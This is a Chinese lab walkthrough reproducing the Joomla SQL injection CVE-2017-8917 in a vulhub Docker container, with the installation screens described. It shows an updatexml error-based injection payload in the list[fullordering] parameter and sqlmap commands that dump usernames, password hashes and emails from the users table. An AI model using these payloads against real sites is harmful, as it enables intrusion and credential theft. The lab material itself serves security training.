当前位置: 首页 > news >正文

SQL注入漏洞复现(CVE-2017-8917)

文章目录

  • 搭建环境
  • 启动环境
  • 漏洞复现
    • 报错注入
    • 使用sqlmap

前提条件:

1.安装docker

docker pull medicean/vulapps:j_joomla_2

2.安装docker-compose

docker run -d -p 8000:80 medicean/vulapps:j_joomla_2

3.下载vulhub

Docker Compose是 docker 提供的一个命令行工具,用来定义和运行由多个容器组成的应用,而docker-compose.yml是它的配置文件。

搭建环境

进入vulhb目录下的joomla,复现CVE-2017-8917漏洞:

cd /home/kali/vulhub/joomla/CVE-2017-8917

查看docker-compose的配置文件:

cat docker-compose.yml

如图,里面有两个镜像文件的信息,还有容器名字:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

然后使用下面命令,搭建docker-compose并启动:

docker-compose up -d && docker-compose up -d

如图:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

启动环境

环境搭建成功后,在浏览器中输入本机地址加之前配置文件中的端口10.9.75.45:8080进入Joomla环境:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

配置网站,输入用户名和密码,密码设为root,点击下一步:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

配置数据库账户密码,输入之前在配置文件中看到的数据库信息,点击下一步:

用户:root
密码:vulhub
数据库名:joomla

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

成功后点击安装,安装成功后点击删除installation目录(重要)

在这里插入图片描述

漏洞复现

报错注入

环境启动成功后刷新,页面跳转并出现报错信息,这时候可以用SQL注入中的报错注入来获取数据库信息,在URL中输入:

?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,user()),1)

成功回显当前用户名:

在这里插入图片描述

使用sqlmap

在kali中输入下面命令,获取数据库名,注入点为list:

sqlmap -u "http://10.9.75.45:8080/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(1,concat(0x7e,version()),1)" --dbs

在弹出的交互式语句中直接回车,最后爆破出数据库名:
在这里插入图片描述

,输入下面命令,查看Joomla数据库中的表:

sqlmap -u "http://10.9.75.45:8080/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=" -D joomla --tables

第一个交互选n,第二个直接回车,列出57个表名,其中比较重要的表示users:

在这里插入图片描述

查看users表中的内容:

–dump列表中指定列的内容

sqlmap -u "http://10.9.75.45:8080/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(1,concat(0x7e,version()),1)" -D joomla -T '#__users' -C username,password,email --dump 

成功获得了用户名、加密的密码和之前输入的邮箱:

在这里插入图片描述

http://www.lryc.cn/news/147539.html

相关文章:

  • Http 1.0 1.1 2.0 3.0 版本差别
  • javaee spring 依赖注入之复杂类型的注入数组 集合 等
  • [Android AIDL] --- AIDL工程搭建
  • 正中优配:回购!回购!再回购!已成A股新常态?
  • C# 多线程交替按照指定顺序执行
  • 【VLDB 2023】基于预测的云资源弹性伸缩框架MagicScaler,实现“高QoS,低成本”双丰收
  • Node爬虫项目精简版 wallhaven网站实操 2023.8.29
  • Vue统计图表的数据标签和数值显示技巧
  • Linux 虚拟机同步时间crontab以及crond详解
  • springmvc没有绿标,怎么配置tomcat插件运行?
  • 设计模式--模板方法模式(Template Method Pattern)
  • linux 权限管理命令
  • c++ qt--线程(一)(第八部分)
  • 参数初始化方法
  • Go的基础运行方式和打包
  • Deepin 图形化部署 Hadoop Single Node Cluster
  • 23款奔驰GLS400升级柏林之声音响系统,体验不一样的感觉
  • Vue的map()方法和filter()方法的使用
  • qt创建临时文件
  • Element——table排序,上移下移功能。及按钮上一条下一条功能
  • 无涯教程-Android - Linear Layout函数
  • ELK安装、部署、调试(六) logstash的安装和配置
  • 【Spring Security】UserDetails 接口介绍
  • C# Linq源码分析之Take(四)
  • Python 和 C++ 使用细节差别
  • 在Ubuntu Linux系统上安装RabbitMQ服务并解决公网远程访问问题
  • 葫芦娃自动预约-公众号代挂
  • ESP32应用教程(0)— PMW3901MB光流传感器
  • docker部署nginx,部署springboot项目,并实现访问
  • 十五、模板方法模式